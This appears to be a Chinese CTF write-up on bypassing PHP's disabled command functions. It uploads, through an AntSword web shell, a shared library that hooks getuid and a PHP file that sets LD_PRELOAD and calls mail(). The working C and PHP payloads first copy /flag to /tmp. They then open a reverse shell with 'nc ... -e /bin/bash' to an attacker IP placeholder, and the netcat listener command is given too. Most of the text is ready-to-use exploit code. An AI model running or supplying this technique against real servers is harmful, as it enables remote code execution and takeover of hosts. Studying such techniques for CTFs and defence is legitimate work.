背景:所有命令执行函数都被禁了,mail函数可用,putenv文件可用,蚁剑连接成功,可以上传文件。
大致思路:控制脚本能够执行php文件,要求php文件中执行mail函数。能够对目标服务器传入.so文件。在.so文件中自定义getuid函数。最后将php文件和.so文件都传入目标机器。运行php文件
第一种方法:上传文件执行
第一步:蚁剑连接
要求连接成功,能够增删文件
第二步:编写php文件和.so文件
//demo.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void payload(){
system("cat /flag > /tmp/flag");
}
int getuid()
{
unsetenv("LD_PRELOAD");
payload();
}
gcc -shared -fPIC demo.c -o demo.so
#demo.php
<?php
putenv("LD_PRELOAD=./demo.so"); #这里我把demo.php和demo.so放在同一个文件夹下。可以修改
mail("","","","");
?>
第三步:上传
然后将刚刚写好的demo.php和demo.so通过蚁剑上传上去
然后在网页端访问刚刚上传的demo.php文件。
我们当时是将flag写入tmp底下的flag文件,所以我们来看看tmp底下是否多了flag文件,发现确实多出来了。
缺点:
此方法不太灵活,一次只能执行一些事先确定的命令。
第二种方法:反弹shell连接
大致思路:在php脚本中将写入flag的操作改为反弹shell连接。
因此php脚本改为:
//demo.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
void payload(){
system("nc xxx.xxx.xxx.xxx yyyy -e /bin/bash");
} //xxx.xxx.xxx.xxx为攻击机的ip地址,yyyy为攻击机监听打开的端口
int getuid()
{
unsetenv("LD_PRELOAD");
payload();
}
同时在攻击机上打开监听
nc -lvvp yyyy
yyyy为你想要开放的端口